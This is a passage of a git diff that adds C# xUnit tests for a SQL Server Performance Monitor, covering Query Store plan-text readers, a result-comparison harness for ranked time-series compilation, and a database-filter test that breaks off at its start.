+            /* 7: a real older map plan, then a newer plan_id whose map row points at a digest with NO dimension
+               row (the dimension GC removed it). The fact row still has inline text: it must not be read. */
+            await InsertFactAsync(connection, t0, queryId: 7, planId: 71, inline: null, ct);
+            await InsertDimAsync(connection, MapQ7, gz: false, ct);
+            await InsertMapAsync(connection, 71, MapQ7, ct);
+            await InsertFactAsync(connection, t1, queryId: 7, planId: 72, inline: InlineBehindOrphan, ct);
+            await InsertMapAsync(connection, 72, OrphanDigestPlan, ct);
+
+            /* 8: the only plan was last seen 8 days before asOf, outside the 7-day bound. */
+            var asOf = new DateTime(2026, 3, 2, 12, 0, 0, DateTimeKind.Unspecified);
+            await InsertFactAsync(connection, asOf.AddDays(-8), queryId: 8, planId: 81, inline: null, ct);
+            await InsertDimAsync(connection, Stale, gz: false, ct);
+            await InsertMapAsync(connection, 81, Stale, ct);
+
+            /* ---- Service reader (plan_id optional). */
+            Task<string?> Svc(long q, long? p) => DarlingStoredPlanReader.GetQueryStorePlanTextAsync(postgres, ServerId, Db, q, planId: p, asOf: asOf, cancellationToken: ct);
+            Task<QueryStorePlanRead?> SvcRead(long q, long? p) => DarlingStoredPlanReader.ResolveQueryStorePlanAsync(postgres, ServerId, Db, q, planId: p, asOf: asOf, cancellationToken: ct);
+            Assert.Equal(TextPlan, await Svc(1, null));
+            Assert.Equal(TextPlan, await Svc(1, 11));
+            Assert.Equal(GzPlan, await Svc(2, null));
+            /* Newest plan_id is a marker: the unpinned read falls to the older plan; the pinned one has no content. */
+            Assert.Equal(OlderPlan, await Svc(3, null));
+            Assert.Equal(OlderPlan, await Svc(3, 31));
+            Assert.Null(await Svc(3, 32));
+            Assert.Equal(InlineOnly, await Svc(4, null));
+            /* A map row with no content is ABSENT: the inline text behind a marker is not read. */
+            Assert.Null(await Svc(5, 51));
+            Assert.Null(await Svc(5, null));
+            Assert.Null(await Svc(999, null));
+            Assert.Null(await Svc(1, 999));
+            /* The plan_id names the plan; the pinned read goes by the map's key alone. */
+            Assert.Equal(TextPlan, await Svc(999, 11));
+
+            /* Older plan inline, newer plan in the map: the map plan wins unpinned; each pinned read answers its own. */
+            Assert.Equal(MapNewer, await Svc(6, null));
+            Assert.Equal(MapNewer, await Svc(6, 62));
+            Assert.Equal(InlineOlder, await Svc(6, 61));
+
+            /* A map row whose digest has no dimension row is absent; the unpinned read moves to the next plan. */
+            Assert.Null(await Svc(7, 72));
+            Assert.Equal(MapQ7, await Svc(7, null));
+
+            /* Last seen 8 days before asOf: the bounded pass finds nothing and the one unbounded pass does. */
+            Assert.Equal(Stale, await Svc(8, null));
+            Assert.Equal(Stale, await Svc(8, 81));
+
+            /* The resolved plan_id comes back with the plan. */
+            Assert.Equal(11, (await SvcRead(1, null))!.PlanId);
+            Assert.Equal(31, (await SvcRead(3, null))!.PlanId);
+            Assert.Equal(62, (await SvcRead(6, null))!.PlanId);
+            Assert.Equal(71, (await SvcRead(7, null))!.PlanId);
+            Assert.Equal(81, (await SvcRead(8, null))!.PlanId);
+            Assert.Equal(61, (await SvcRead(6, 61))!.PlanId);
+            Assert.Null(await SvcRead(5, null));
+
+            /* ---- Viewer reader (plan_id required). */
+            Task<string?> Vw(long q, long p) => viewer.GetQueryStorePlanTextAsync(ServerId, Db, q, p, cancellationToken: ct);
+            Assert.Equal(TextPlan, await Vw(1, 11));
+            Assert.Equal(GzPlan, await Vw(2, 21));
+            Assert.Equal(OlderPlan, await Vw(3, 31));
+            Assert.Null(await Vw(3, 32));
+            Assert.Equal(InlineOnly, await Vw(4, 41));
+            Assert.Null(await Vw(5, 51));
+            Assert.Equal(MapNewer, await Vw(6, 62));
+            Assert.Equal(InlineOlder, await Vw(6, 61));
+            Assert.Null(await Vw(7, 72));
+            Assert.Equal(Stale, await Vw(8, 81));
+            Assert.Null(await Vw(1, 999));
+            /* The map is read by plan_id alone (a plan_id belongs to one query_id), so a query_id that does not
+               own the plan still gets it: the fact table is not consulted. */
+            Assert.Equal(TextPlan, await Vw(999, 11));
+            Assert.Null(await viewer.GetQueryStorePlanTextAsync(ServerId + 1, Db, 1, 11, cancellationToken: ct));
+
+            /* ---- Third reader: the actual-plan resolver. */
+            async Task<(string? Text, string? Plan)> Resolve(long q)
+            {
+                await using var command = new NpgsqlCommand(DarlingWorker.ResolveStoredQueryStoreForActualPlanSql, connection);
+                command.Parameters.AddWithValue(ServerId);
+                command.Parameters.AddWithValue(Db);
+                command.Parameters.AddWithValue(q);
+                await using var reader = await command.ExecuteReaderAsync(ct);
+                if (!await reader.ReadAsync(ct))
+                {
+                    return (null, null);
+                }
+
+                return (
+                    reader.IsDBNull(0) ? null : reader.GetString(0),
+                    PayloadDimensions.ResolveContent(
+                        reader.IsDBNull(1) ? null : reader.GetString(1),
+                        reader.IsDBNull(3) ? null : reader.GetFieldValue<byte[]>(3)));
+            }
+
+            Assert.Equal(("SELECT /*q1*/", TextPlan), await Resolve(1));
+            Assert.Equal(("SELECT /*q2*/", GzPlan), await Resolve(2));
+            Assert.Equal(OlderPlan, (await Resolve(3)).Plan);
+            Assert.Equal(InlineOnly, (await Resolve(4)).Plan);
+            /* A marker: the query text still answers (it is what gets re-executed); the estimated plan is absent. */
+            Assert.Equal(("SELECT /*q5*/", (string?)null), await Resolve(5));
+            Assert.Equal(MapNewer, (await Resolve(6)).Plan);
+            Assert.Equal(MapQ7, (await Resolve(7)).Plan);
+            Assert.Equal(Stale, (await Resolve(8)).Plan);
+            Assert.Equal((null, null), await Resolve(999));
+
+            /* ---- analyze_query_store_plan end to end: the analysed statement and the resolved plan_id. */
+            async Task<(string Identifier, string? Statement)> Analyse(long q, long? p)
+            {
+                var json = await DarlingMcpPlanTools.AnalyzeQueryStorePlan(postgres, Db, q, ServerName, p, cancellationToken: ct);
+                using var doc = JsonDocument.Parse(json);
+                Assert.False(doc.RootElement.TryGetProperty("status", out var status) && status.GetString() == "unavailable", json);
+                Assert.Equal("query_store", doc.RootElement.GetProperty("source").GetString());
+                var statements = doc.RootElement.GetProperty("statements");
+                return (
+                    doc.RootElement.GetProperty("identifier").GetString()!,
+                    statements.GetArrayLength() == 0 ? null : statements[0].GetProperty("statement_text").GetString());
+            }
+
+            Assert.Equal(($"{Db}:1:11", "SELECT 'map-text'"), await Analyse(1, null));
+            Assert.Equal(($"{Db}:2:21", "SELECT 'map-gz'"), await Analyse(2, null));
+            /* The newest plan is a marker, so the analysed plan is the older one, and the identifier says which. */
+            Assert.Equal(($"{Db}:3:31", "SELECT 'map-older'"), await Analyse(3, null));
+            Assert.Equal(($"{Db}:6:62", "SELECT 'map-newer'"), await Analyse(6, null));
+            Assert.Equal(($"{Db}:6:61", "SELECT 'inline-older'"), await Analyse(6, 61));
+            Assert.Equal(($"{Db}:1:11", "SELECT 'map-text'"), await Analyse(1, 11));
+            var missing = await DarlingMcpPlanTools.AnalyzeQueryStorePlan(postgres, Db, 3, ServerName, 32, cancellationToken: ct);
+            using (var doc = JsonDocument.Parse(missing))
+            {
+                Assert.Equal("unavailable", doc.RootElement.GetProperty("status").GetString());
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, DeleteAsync);
+        }
+    }
+
+    private static IEnumerable<string> AllPlans() => new[] { TextPlan, GzPlan, OlderPlan, MapNewer, MapQ7, Stale };
+
+    private static async Task DeleteAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using (var cleanup = new NpgsqlCommand(
+            $"DELETE FROM query_store_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM collect.query_store_plan_map WHERE server_id = {ServerId}; " +
+            $"DELETE FROM servers WHERE server_id = {ServerId};", connection))
+        {
+            await cleanup.ExecuteNonQueryAsync(ct);
+        }
+
+        foreach (var plan in AllPlans())
+        {
+            using var dim = new NpgsqlCommand("DELETE FROM query_plan_dim WHERE digest = $1", connection);
+            dim.Parameters.AddWithValue(PayloadDimensions.Digest(plan));
+            await dim.ExecuteNonQueryAsync(ct);
+        }
+    }
+
+    private static async Task RegisterServerAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(@"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, created_date, modified_date)
+VALUES ($1, $2, $2, TRUE, $3, $3)
+ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE;", connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(new DateTime(2026, 3, 1, 0, 0, 0, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertFactAsync(
+        NpgsqlConnection connection, DateTime collectionTime, long queryId, long planId, string? inline, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(@"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_plan_text, query_text)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(collectionTime);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(queryId);
+        command.Parameters.AddWithValue(planId);
+        command.Parameters.AddWithValue((object?)inline ?? DBNull.Value);
+        command.Parameters.AddWithValue($"SELECT /*q{queryId}*/");
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertDimAsync(NpgsqlConnection connection, string plan, bool gz, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            gz
+                ? "INSERT INTO query_plan_dim (digest, query_plan_gz, last_seen) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING"
+                : "INSERT INTO query_plan_dim (digest, query_plan_xml, last_seen) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING",
+            connection);
+        command.Parameters.AddWithValue(PayloadDimensions.Digest(plan));
+        if (gz)
+        {
+            command.Parameters.AddWithValue(PayloadDimensions.CompressContent(plan));
+        }
+        else
+        {
+            command.Parameters.AddWithValue(plan);
+        }
+
+        command.Parameters.AddWithValue(new DateTime(2026, 3, 1, 12, 0, 0, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertMapAsync(NpgsqlConnection connection, long planId, string? plan, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "INSERT INTO collect.query_store_plan_map (server_id, database_name, plan_id, digest, plan_hash, last_seen) VALUES ($1, $2, $3, $4, $5, $6)",
+            connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(planId);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Bytea, Value = plan is null ? DBNull.Value : PayloadDimensions.Digest(plan) });
+        command.Parameters.AddWithValue("0x5257");
+        command.Parameters.AddWithValue(new DateTime(2026, 3, 1, 12, 0, 0, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreRankedHarness.cs b/Darling/Darling.Tests/QueryStoreRankedHarness.cs
new file mode 100644
index 0000000000..59d54a787f
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreRankedHarness.cs
@@ -0,0 +1,346 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582: the reusable half of the Query Store RankedTimeSeries exactness proof. It runs ONE panel through two compile
+/// switches of <see cref="ComposeCompiler.CompileCore"/> (the candidate text and the oracle text) on the same stored rows
+/// and says whether the result sets are equal. Part 3 of #5582 (an exact rollup) calls <see cref="CompareAsync"/> with its
+/// own candidate delegate and the same oracle, over the same <see cref="SeedAsync"/> rows.
+///
+/// <para><b>What "equal" means.</b> The same (bucket, group...) keys, and for every key the same value: exactly (bit for bit
+/// after the final cast to double) when <c>relativeTolerance</c> is 0, within that relative tolerance otherwise. Every Query
+/// Store fact column is <c>bigint</c> (V145), so every partial sum, count, minimum and maximum a candidate keeps is an exact
+/// integer or numeric and the tolerance is 0; the parameter exists for a candidate that keeps a float partial.</para>
+///
+/// <para><b>Ties at the top-N cutoff.</b> Neither text orders the rank beyond <c>value DESC NULLS LAST</c>, so which of
+/// several groups tied at the cutoff takes the last slot is the plan's choice. When the two member sets differ the harness
+/// reads every group's true total from the ranked (non-time) panel, which neither switch changes, and accepts the difference
+/// only if each side is a valid top N under those totals and the groups that differ all sit exactly at the cutoff value. The
+/// rows of the groups both sides chose must still be equal. <see cref="Comparison.MemberSetsDiffered"/> reports whether it
+/// happened, so a test that expects the texts to agree can assert it.</para>
+/// </summary>
+internal static class QueryStoreRankedHarness
+{
+    internal static readonly DateTime WindowStart = new(2026, 8, 1, 0, 0, 0, DateTimeKind.Unspecified);
+    internal static readonly DateTime WindowEnd = WindowStart.AddDays(3);
+
+    /// <summary>The registered servers the seed writes, as (id, name).</summary>
+    internal static readonly (int Id, string Name)[] Servers =
+    {
+        (-58201, "rank-srv-1"),
+        (-58202, "rank-srv-2"),
+        (-58203, "rank-srv-3"),
+    };
+
+    /// <summary>Compiles a plan; the shape of <see cref="ComposeCompiler.CompileCore"/> with its switch bound.</summary>
+    internal delegate (ComposeCompiled? Compiled, string? Error) Compiler(PanelPlan plan, ComposeRunContext context);
+
+    /// <summary>The compiler as the product runs it.</summary>
+    internal static readonly Compiler Product = (plan, context) => ComposeCompiler.CompileCore(plan, context, singleScanRankedTimeSeries: true);
+
+    /// <summary>The compiler for the text every route emitted before #5582 (two scans of the fact rows).</summary>
+    internal static readonly Compiler Oracle = (plan, context) => ComposeCompiler.CompileCore(plan, context, singleScanRankedTimeSeries: false);
+
+    /// <summary>The outcome of one comparison.</summary>
+    internal sealed record Comparison(
+        bool Equal, int CandidateRows, int OracleRows, bool MemberSetsDiffered, string? Difference, string CandidateSql, string OracleSql);
+
+    /// <summary>The wide-route context for a window: Query Store reads the wide table, no rollups. <paramref name="groupMembers"/> is
+    /// the runner's member count of the group dimension (#5582); the default, 1,000, is a bounded group, so the single-scan gate's
+    /// member term passes and the bucket cap and the group column decide, as the seeded groups here are a handful.</summary>
+    internal static ComposeRunContext WideContext(DateTime start, DateTime end, IReadOnlyList<string>? servers = null, long? groupMembers = 1_000) =>
+        new(servers, start, end, ComposeRunContext.NoVariables, RollupAvailability.None, end, RollupCoverage.Unknown, QueryStoreWideEligible: true, QueryStoreGroupMembers: groupMembers);
+
+    internal static PanelPlan Parse(string planJson)
+    {
+        var (plan, error) = ComposeSpec.TryParsePanel((JsonObject)JsonNode.Parse(planJson)!, Array.Empty<string>());
+        Assert.True(error is null, $"{planJson}: {error}");
+        return plan!;
+    }
+
+    /// <summary>Runs <paramref name="planJson"/> through both compilers over the same context and compares the rows.</summary>
+    internal static Task<Comparison> CompareAsync(
+        NpgsqlConnection connection, string planJson, ComposeRunContext context, Compiler candidate, Compiler oracle,
+        double relativeTolerance, CancellationToken ct) =>
+        CompareAsync(connection, planJson, context, candidate, context, oracle, relativeTolerance, ct);
+
+    /// <summary>The same comparison with a context of its own for each side (#5582 part 3): the stamp route's candidate carries a
+    /// <c>QueryStoreStampThrough</c> and its oracle, the wide-table route, does not.</summary>
+    internal static async Task<Comparison> CompareAsync(
+        NpgsqlConnection connection, string planJson, ComposeRunContext candidateContext, Compiler candidate,
+        ComposeRunContext context, Compiler oracle, double relativeTolerance, CancellationToken ct)
+    {
+        var plan = Parse(planJson);
+        var (candidateSql, candidateRows) = await RunAsync(connection, plan, candidateContext, candidate, ct);
+        var (oracleSql, oracleRows) = await RunAsync(connection, plan, context, oracle, ct);
+        /* The columns before the value: the groups, plus the bucket for a time series (#5582 part 3 widened this from the ranked time series only). */
+        var width = plan.GroupBy.Count + 1 + (plan.Mode is PanelMode.TimeSeries or PanelMode.RankedTimeSeries ? 1 : 0);
+        var candidateByKey = ByKey(candidateRows, width, out var candidateDuplicate);
+        var oracleByKey = ByKey(oracleRows, width, out var oracleDuplicate);
+
+        Comparison Make(bool equal, bool differed, string? difference) =>
+            new(equal, candidateRows.Count, oracleRows.Count, differed, difference, candidateSql, oracleSql);
+
+        if (candidateDuplicate is not null || oracleDuplicate is not null)
+        {
+            return Make(false, false, $"a result set repeats the key {candidateDuplicate ?? oracleDuplicate}");
+        }
+
+        var sameKeys = candidateByKey.Keys.ToHashSet(StringComparer.Ordinal).SetEquals(oracleByKey.Keys);
+        if (sameKeys)
+        {
+            var wrong = candidateByKey.FirstOrDefault(kv => !ValuesEqual(kv.Value, oracleByKey[kv.Key], relativeTolerance));
+            return wrong.Key is null
+                ? Make(true, false, null)
+                : Make(false, false, $"key {wrong.Key}: candidate {Show(wrong.Value)}, oracle {Show(oracleByKey[wrong.Key])}");
+        }
+
+        /* The key sets differ. For a panel with no top-N rank that is a plain mismatch; for a ranked one it may be a tie at
+           the cutoff, which the totals decide. */
+        if (plan.TopN is not > 0 || plan.Mode != PanelMode.RankedTimeSeries)
+        {
+            return Make(false, false, "the key sets differ and the panel has no rank to explain it");
+        }
+
+        var totals = await TotalsAsync(connection, planJson, context, oracle, ct);
+        var candidateMembers = GroupsOf(candidateByKey);
+        var oracleMembers = GroupsOf(oracleByKey);
+        var verdict = TiesExplain(totals, plan.TopN, candidateMembers, oracleMembers);
+        if (verdict is not null)
+        {
+            return Make(false, true, verdict);
+        }
+
+        var common = candidateMembers.Intersect(oracleMembers, StringComparer.Ordinal).ToHashSet(StringComparer.Ordinal);
+        foreach (var (key, value) in candidateByKey.Where(kv => common.Contains(GroupOf(kv.Key))))
+        {
+            if (!oracleByKey.TryGetValue(key, out var other) || !ValuesEqual(value, other, relativeTolerance))
+            {
+                return Make(false, true, $"a group both sides chose differs at key {key}: candidate {Show(value)}, oracle {Show(other)}");
+            }
+        }
+
+        return Make(true, true, null);
+    }
+
+    private static string? TiesExplain(Dictionary<string, double?> totals, int topN, HashSet<string> candidate, HashSet<string> oracle)
+    {
+        /* Best first: larger totals first, NULL last, as the rank orders them. */
+        var ordered = totals.OrderByDescending(kv => kv.Value.HasValue).ThenByDescending(kv => kv.Value ?? 0d).ToList();
+        var take = Math.Min(topN, ordered.Count);
+        if (take == 0)
+        {
+            return "no totals";
+        }
+
+        var cutoff = ordered[take - 1].Value;
+        bool Better(double? a, double? b) => a.HasValue && (!b.HasValue || a.Value > b.Value);
+        var mustHave = ordered.Where(kv => Better(kv.Value, cutoff)).Select(kv => kv.Key).ToHashSet(StringComparer.Ordinal);
+        foreach (var (name, members) in new[] { ("candidate", candidate), ("oracle", oracle) })
+        {
+            if (members.Count != take)
+            {
+                return $"{name} chose {members.Count} groups, expected {take}";
+            }
+
+            if (!mustHave.IsSubsetOf(members))
+            {
+                return $"{name} left out a group that beats the cutoff: {string.Join(", ", mustHave.Except(members))}";
+            }
+
+            var below = members.FirstOrDefault(m => totals.TryGetValue(m, out var t) && Better(cutoff, t));
+            if (below is not null)
+            {
+                return $"{name} chose a group below the cutoff: {below}";
+            }
+        }
+
+        return null;
+    }
+
+    private static async Task<Dictionary<string, double?>> TotalsAsync(
+        NpgsqlConnection connection, string planJson, ComposeRunContext context, Compiler compiler, CancellationToken ct)
+    {
+        var json = (JsonObject)JsonNode.Parse(planJson)!;
+        json.Remove("timeBucket");
+        json.Remove("includeOther");
+        json["topN"] = ComposeLimits.MaxTopN;
+        json["viz"] = "table";
+        var plan = Parse(json.ToJsonString());
+        var (_, rows) = await RunAsync(connection, plan, context, compiler, ct);
+        var totals = new Dictionary<string, double?>(StringComparer.Ordinal);
+        foreach (var row in rows)
+        {
+            totals[string.Join("|", row.Take(row.Length - 1).Select(Cell))] = row[^1] as double?;
+        }
+
+        return totals;
+    }
+
+    private static async Task<(string Sql, List<object?[]> Rows)> RunAsync(
+        NpgsqlConnection connection, PanelPlan plan, ComposeRunContext context, Compiler compiler, CancellationToken ct)
+    {
+        var (compiled, error) = compiler(plan, context);
+        Assert.True(error is null, error);
+        Assert.NotNull(compiled);
+        var rows = new List<object?[]>();
+        await using var command = new NpgsqlCommand(compiled!.Sql, connection);
+        foreach (var parameter in compiled.Parameters)
+        {
+            command.Parameters.Add(parameter);
+        }
+
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            var values = new object?[reader.FieldCount];
+            for (var i = 0; i < reader.FieldCount; i++)
+            {
+                values[i] = reader.IsDBNull(i) ? null : reader.GetValue(i);
+            }
+
+            rows.Add(values);
+        }
+
+        return (compiled.Sql, rows);
+    }
+
+    private static string Cell(object? value) => value is null ? "<null>" : Convert.ToString(value, CultureInfo.InvariantCulture)!;
+
+    private static Dictionary<string, double?> ByKey(List<object?[]> rows, int width, out string? duplicate)
+    {
+        duplicate = null;
+        var byKey = new Dictionary<string, double?>(StringComparer.Ordinal);
+        foreach (var row in rows)
+        {
+            Assert.Equal(width, row.Length);
+            var key = string.Join("|", row.Take(width - 1).Select(Cell));
+            if (!byKey.TryAdd(key, row[^1] is null ? null : Convert.ToDouble(row[^1], CultureInfo.InvariantCulture)))
+            {
+                duplicate = key;
+            }
+        }
+
+        return byKey;
+    }
+
+    /// <summary>The group part of a result key (everything after the bucket); null for a key with no group.</summary>
+    private static string GroupOf(string key) => key[(key.IndexOf('|', StringComparison.Ordinal) + 1)..];
+
+    private static HashSet<string> GroupsOf(Dictionary<string, double?> byKey) =>
+        byKey.Keys.Select(GroupOf).Where(g => !g.Contains(ComposeCompiler.OtherSeriesLabel, StringComparison.Ordinal)).ToHashSet(StringComparer.Ordinal);
+
+    private static string Show(double? value) => value.HasValue ? value.Value.ToString("R", CultureInfo.InvariantCulture) : "<null>";
+
+    /// <summary>Equal when both are NULL, or both are numbers within <paramref name="relativeTolerance"/> of each other (0: bit for bit).</summary>
+    internal static bool ValuesEqual(double? a, double? b, double relativeTolerance)
+    {
+        if (a is null || b is null)
+        {
+            return a is null && b is null;
+        }
+
+        if (a.Value.Equals(b.Value))
+        {
+            return true;
+        }
+
+        if (relativeTolerance <= 0 || double.IsNaN(a.Value) || double.IsNaN(b.Value))
+        {
+            return false;
+        }
+
+        return Math.Abs(a.Value - b.Value) <= relativeTolerance * Math.Max(Math.Abs(a.Value), Math.Abs(b.Value));
+    }
+
+    /// <summary>
+    /// Writes the exactness rows into <c>collect.query_store_interval_wide</c> of a freshly migrated database and registers
+    /// <see cref="Servers"/>. Deterministic (no random). 6,000 generated rows over three days and three servers, built to hold
+    /// every case the proof needs:
+    /// <list type="bullet">
+    /// <item>hours 3, 9, 15, ... of the window hold no row (empty buckets);</item>
+    /// <item><c>module_name</c> and <c>database_name</c> are NULL on some rows (a NULL group key), <c>mod0</c> to <c>mod16</c>
+    /// have many rows, <c>only_one</c> has one row, <c>allnull</c> has NULL in every measured column;</item>
+    /// <item>execution_count, avg_duration_us and avg_cpu_time_us are NULL on some rows; the duration and CPU columns reach 4e12,
+    /// so a per-group sum of their products exceeds a bigint (the numeric path);</item>
+    /// <item>the <c>tb_</c> modules: two big ones, six that tie exactly, two small ones, each in one bucket, for the cutoff tie.</item>
+    /// </list>
+    /// </summary>
+    internal static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var (id, name) in Servers)
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, id, name, ct);
+        }
+
+        await using var generated = new NpgsqlCommand(
+            @"
+INSERT INTO collect.query_store_interval_wide
+    (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+     module_name, query_hash, execution_count, avg_duration_us, max_duration_us, avg_cpu_time_us, max_cpu_time_us,
+     query_plan_hash, runtime_stats_interval_id, interval_start_time_utc)
+SELECT
+    $1::timestamp + make_interval(hours => s.h, mins => (s.i * 7) % 60, secs => (s.i % 13)),
+    CASE s.i % 3 WHEN 0 THEN $2 WHEN 1 THEN $3 ELSE $4 END,
+    CASE WHEN s.i % 29 = 0 THEN NULL ELSE 'db' || (s.i % 4) END,
+    s.i, s.i, 'Regular', $1::timestamp - interval '1 hour', $1::timestamp,
+    CASE WHEN s.i = 4242 THEN 'only_one' WHEN s.i % 101 = 7 THEN 'allnull' WHEN s.i % 5 = 0 THEN NULL ELSE 'mod' || (s.i % 17) END,
+    '0x' || lpad(to_hex(s.i % 400), 16, '0'),
+    CASE WHEN s.i % 11 = 0 OR s.i % 101 = 7 THEN NULL ELSE 1 + (s.i * 31) % 997 END,
+    CASE WHEN s.i % 9 = 0 OR s.i % 101 = 7 THEN NULL ELSE (s.i::bigint * 982451653) % 4000000000000 END,
+    CASE WHEN s.i % 13 = 0 OR s.i % 101 = 7 THEN NULL ELSE (s.i::bigint * 15485863) % 9000000 END,
+    CASE WHEN s.i % 7 = 0 OR s.i % 101 = 7 THEN NULL ELSE (s.i::bigint * 179424673) % 4000000000000 END,
+    CASE WHEN s.i % 17 = 0 OR s.i % 101 = 7 THEN NULL ELSE (s.i::bigint * 32452843) % 9000000 END,
+    '0x' || lpad(to_hex(s.i), 16, '0'), s.i, $1::timestamp - interval '1 hour'
+FROM (SELECT i, (i * 13) % 72 AS h FROM generate_series(1, 6000) AS i) AS s
+WHERE s.h % 6 <> 3;", connection);
+        generated.Parameters.AddWithValue(DateTime.SpecifyKind(WindowStart, DateTimeKind.Unspecified));
+        generated.Parameters.AddWithValue(Servers[0].Id);
+        generated.Parameters.AddWithValue(Servers[1].Id);
+        generated.Parameters.AddWithValue(Servers[2].Id);
+        await generated.ExecuteNonQueryAsync(ct);
+
+        /* The cutoff tie: tb_big1 and tb_big2 beat everything, tb_tie0..5 are identical in every measure, tb_small1/2 are below.
+           One row each, in the same hour, so every aggregate of a tied group is the same number. */
+        await using var ties = new NpgsqlCommand(
+            @"
+INSERT INTO collect.query_store_interval_wide
+    (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+     module_name, query_hash, execution_count, avg_duration_us, max_duration_us, avg_cpu_time_us, max_cpu_time_us,
+     query_plan_hash, runtime_stats_interval_id, interval_start_time_utc)
+SELECT $1::timestamp + interval '10 hours 5 minutes', $2, 'dbTie', 900000 + t.n, 900000 + t.n, 'Regular',
+       $1::timestamp - interval '1 hour', $1::timestamp, t.module, '0x' || lpad(to_hex(900000 + t.n), 16, '0'),
+       t.executions, t.avg_us, t.max_us, t.avg_us, t.max_us, '0x' || lpad(to_hex(900000 + t.n), 16, '0'), 900000 + t.n, $1::timestamp - interval '1 hour'
+FROM (VALUES
+    (1, 'tb_big1', 500, 900000, 950000), (2, 'tb_big2', 400, 800000, 850000),
+    (3, 'tb_tie0', 100, 1000, 2000), (4, 'tb_tie1', 100, 1000, 2000), (5, 'tb_tie2', 100, 1000, 2000),
+    (6, 'tb_tie3', 100, 1000, 2000), (7, 'tb_tie4', 100, 1000, 2000), (8, 'tb_tie5', 100, 1000, 2000),
+    (9, 'tb_small1', 1, 10, 20), (10, 'tb_small2', 1, 20, 30)
+) AS t(n, module, executions, avg_us, max_us);", connection);
+        ties.Parameters.AddWithValue(DateTime.SpecifyKind(WindowStart, DateTimeKind.Unspecified));
+        ties.Parameters.AddWithValue(Servers[0].Id);
+        await ties.ExecuteNonQueryAsync(ct);
+
+        await using var analyze = new NpgsqlCommand("ANALYZE collect.query_store_interval_wide; ANALYZE collect.servers;", connection);
+        await analyze.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreReadsDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/QueryStoreReadsDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..59a6775a17
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreReadsDatabaseFilterLiveTests.cs
@@ -0,0 +1,302 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244), PR1: the database filter on the readers behind get_query_store_regressions and
+/// get_query_heatmap. Each tool's internal overload takes a <see cref="DatabaseFilter"/>, so an overload call with
+/// [A, B] over a seed of A, B and C must return only A's and B's rows, one name must read exactly as the public
+/// (one-name) method does, and every one-name consumer on the empty answers must be list-aware: the echoed
+/// <c>database_name</c> field, the three filtered empty answers of the regressions read, and the covered-claim sentence
+/// of the heatmap's idle-grid answer. Both reads are one tier (<c>query_store_stats</c> and <c>query_stats</c>).
+/// The public methods still pass one name, so no MCP schema, dispatch or tools/list byte changes.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryStoreReadsDatabaseFilterLiveTests
+{
+    private const int ServerId = -950456;
+    private const string ServerName = "qs-reads-database-filter";
+
+    private const string A = "QsFilterA";
+    private const string B = "QsFilterB";
+    private const string C = "QsFilterC";
+    // Both sides collected, nothing regressed.
+    private const string QuietH = "QsFilterQuietH";
